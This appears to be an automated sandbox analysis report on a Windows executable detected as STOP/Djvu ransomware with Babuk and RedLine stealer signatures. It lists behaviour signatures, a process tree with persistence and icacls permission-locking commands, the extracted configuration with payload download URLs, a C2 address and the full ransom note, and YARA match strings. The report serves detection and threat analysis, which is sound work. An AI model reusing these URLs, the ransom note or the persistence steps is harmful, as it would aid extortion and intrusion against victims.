Edit tour

Windows Analysis Report
n41dQbiw1Y.exe

Overview

General Information

Sample name:	n41dQbiw1Y.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original sample name:	635a73433a258fa5a9b3b015f57ca84e1c296e9b65888fb64ebb602213a9d49d
Analysis ID:	1587010
MD5:	0511a0c819ade47392a2f3a51eaf1f0b
SHA1:	39b0471e8d501702179bfcb744728c00dcced7ba
SHA256:	635a73433a258fa5a9b3b015f57ca84e1c296e9b65888fb64ebb602213a9d49d
Infos:

Detection

Babuk, Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Babuk Ransomware

Yara detected Djvu Ransomware

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates HTML files with .exe extension (expired dropper behavior)

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to harvest and steal browser information (history, passwords, etc)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

n41dQbiw1Y.exe (PID: 7272 cmdline: "C:\Users\user\Desktop\n41dQbiw1Y.exe" MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

n41dQbiw1Y.exe (PID: 7288 cmdline: "C:\Users\user\Desktop\n41dQbiw1Y.exe" MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

icacls.exe (PID: 7352 cmdline: icacls "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

n41dQbiw1Y.exe (PID: 7376 cmdline: "C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

n41dQbiw1Y.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

n41dQbiw1Y.exe (PID: 7460 cmdline: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe --Task MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

n41dQbiw1Y.exe (PID: 7476 cmdline: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe --Task MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

n41dQbiw1Y.exe (PID: 7644 cmdline: "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

n41dQbiw1Y.exe (PID: 7664 cmdline: "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

n41dQbiw1Y.exe (PID: 7864 cmdline: "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

n41dQbiw1Y.exe (PID: 7880 cmdline: "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart MD5: 0511A0C819ADE47392A2F3A51EAF1F0B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://colisumy.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/raud/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-e5pgPH03fe\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0793", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEKTGhmQmX5mTPxHx0YOio0MNfJigIngF\\\\nUurP7GwIzjiA9Vhh+E4oU4l3QncQbThKRZ3+N6k71ySVwL+15TJ00FBKk\\/z41dQu\\\\nQZqSgIS0T\\/7wW4CWCTLD3dewnt9CTD6UUN9A5dXBa3pxJf6gQeGgcF9MGkbaYsFn\\\\nucGyW1ppYe\\/4pPXENEo7OYgQDnJgch+X4BgMzRga6ix18adWGZj41gMHdRpFkjHE\\\\nsNZtuU5QQIgVkfWjmhv3PWTRQ5raftzMIvvycBmhiPeFwoDt8w3u1DFrAi65hWiD\\\\nWQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000007.00000002.1802187724.0000000004162000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.1885798926.0000000004192000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1658170089.0000000004350000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2904915871.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1690777930.0000000004293000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000003.00000002.1682775569.0000000004197000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: n41dQbiw1Y.exe PID: 7272	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7272	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x459c1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7288	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7288	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3108f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7376	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7376	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x375d6:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7416	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7416	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7416	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x14c258e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7460	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7460	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x48bb9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7476	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7476	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7476	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4d21b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7644	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7644	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x41698:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7664	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7664	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x36df9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7864	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7864	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3105c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n41dQbiw1Y.exe PID: 7880	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n41dQbiw1Y.exe PID: 7880	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x41211:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 48 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.n41dQbiw1Y.exe.43f15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.n41dQbiw1Y.exe.43f15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.n41dQbiw1Y.exe.43f15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.n41dQbiw1Y.exe.43415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.n41dQbiw1Y.exe.43415a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
